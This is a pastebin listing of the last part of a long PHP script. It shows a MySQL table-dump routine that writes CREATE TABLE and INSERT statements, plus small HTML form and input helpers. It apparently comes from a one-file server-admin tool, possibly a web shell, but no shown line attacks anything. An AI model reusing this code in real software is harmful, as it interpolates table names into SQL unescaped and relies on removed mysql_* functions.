  2098.         $tabledump .= "   $field[Field] $field[Type]";
  2099.         if (!empty($field["Default"])) {
  2100.             $tabledump .= " DEFAULT '$field[Default]'";
  2101.         }
  2102.         if ($field['Null'] != "YES") {
  2103.             $tabledump .= " NOT NULL";
  2104.         }
  2105.         if ($field['Extra'] != "") {
  2106.             $tabledump .= " $field[Extra]";
  2107.         }
  2108.     }
  2109.     fr($fields);
  2110.  
  2111.     $keys = q("SHOW KEYS FROM $table");
  2112.     while ($key = mysql_fetch_array($keys)) {
  2113.         $kname=$key['Key_name'];
  2114.         if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2115.             $kname="UNIQUE|$kname";
  2116.         }
  2117.         if(!is_array($index[$kname])) {
  2118.             $index[$kname] = array();
  2119.         }
  2120.         $index[$kname][] = $key['Column_name'];
  2121.     }
  2122.     fr($keys);
  2123.  
  2124.     while(list($kname, $columns) = @each($index)) {
  2125.         $tabledump .= ",\n";
  2126.         $colnames=implode($columns,",");
  2127.  
  2128.         if ($kname == "PRIMARY") {
  2129.             $tabledump .= "   PRIMARY KEY ($colnames)";
  2130.         } else {
  2131.             if (substr($kname,0,6) == "UNIQUE") {
  2132.                 $kname=substr($kname,7);
  2133.             }
  2134.             $tabledump .= "   KEY $kname ($colnames)";
  2135.         }
  2136.     }
  2137.  
  2138.     $tabledump .= "\n);\n\n";
  2139.     if ($fp) {
  2140.         fwrite($fp,$tabledump);
  2141.     } else {
  2142.         echo $tabledump;
  2143.     }
  2144.  
  2145.     $rows = q("SELECT * FROM $table");
  2146.     $numfields = mysql_num_fields($rows);
  2147.     while ($row = mysql_fetch_array($rows)) {
  2148.         $tabledump = "INSERT INTO $table VALUES(";
  2149.  
  2150.         $fieldcounter=-1;
  2151.         $firstfield=1;
  2152.         while (++$fieldcounter<$numfields) {
  2153.             if (!$firstfield) {
  2154.                 $tabledump.=", ";
  2155.             } else {
  2156.                 $firstfield=0;
  2157.             }
  2158.  
  2159.             if (!isset($row[$fieldcounter])) {
  2160.                 $tabledump .= "NULL";
  2161.             } else {
  2162.                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  2163.             }
  2164.         }
  2165.  
  2166.         $tabledump .= ");\n";
  2167.  
  2168.         if ($fp) {
  2169.             fwrite($fp,$tabledump);
  2170.         } else {
  2171.             echo $tabledump;
  2172.         }
  2173.     }
  2174.     fr($rows);
  2175.     if ($fp) {
  2176.         fwrite($fp,"\n");
  2177.     } else {
  2178.         echo "\n";
  2179.     }
  2180. }
  2181.  
  2182. function ue($str){
  2183.     return urlencode($str);
  2184. }
  2185.  
  2186. function p($str){
  2187.     echo $str."\n";
  2188. }
  2189.  
  2190. function tbhead() {
  2191.     p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2192. }
  2193. function tbfoot(){
  2194.     p('</table>');
  2195. }
  2196.  
  2197. function makehide($name,$value=''){
  2198.     p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2199. }
  2200.  
  2201. function makeinput($arg = array()){
  2202.     $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2203.     $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2204.     !$arg['type'] && $arg['type'] = 'text';
  2205.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2206.     $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2207.     if ($arg['newline']) {
  2208.         p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2209.     } else {
  2210.         p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2211.     }
  2212. }
  2213.  
  2214. function makeselect($arg = array()){
  2215.     if ($arg['onchange']) {
  2216.         $onchange = 'onchange="'.$arg['onchange'].'"';
  2217.     }
  2218.     $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2219.     if ($arg['newline']) p('<p>');
  2220.     p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2221.         if (is_array($arg['option'])) {
  2222.             foreach ($arg['option'] as $key=>$value) {
  2223.                 if ($arg['selected']==$key) {
  2224.                     p("<option value=\"$key\" selected>$value</option>");
  2225.                 } else {
  2226.                     p("<option value=\"$key\">$value</option>");
  2227.                 }
  2228.             }
  2229.         }
  2230.     p("</select>");
  2231.     if ($arg['newline']) p('</p>');
  2232. }
  2233. function formhead($arg = array()) {
  2234.     !$arg['method'] && $arg['method'] = 'post';
  2235.     !$arg['action'] && $arg['action'] = $self;
  2236.     $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2237.     !$arg['name'] && $arg['name'] = 'form1';
  2238.     p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2239.     if ($arg['title']) {
  2240.         p('<h2>'.$arg['title'].' &raquo;</h2>');
  2241.     }
  2242. }
  2243. function maketext($arg = array()){
  2244.     !$arg['cols'] && $arg['cols'] = 100;
  2245.     !$arg['rows'] && $arg['rows'] = 25;
  2246.     $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  2247.     p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2248. }
  2249. function formfooter($name = ''){
  2250.     !$name && $name = 'submit';
  2251.     p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  2252.     p('</form>');
  2253. }
  2254. function formfoot(){
  2255.     p('</form>');
  2256. }
  2257. // Exit
  2258. function pr($a) {
  2259.     echo '<pre>';
  2260.     print_r($a);
  2261.     echo '</pre>';
  2262. }
  2263. ?>
Add Comment
Please, Sign In to add comment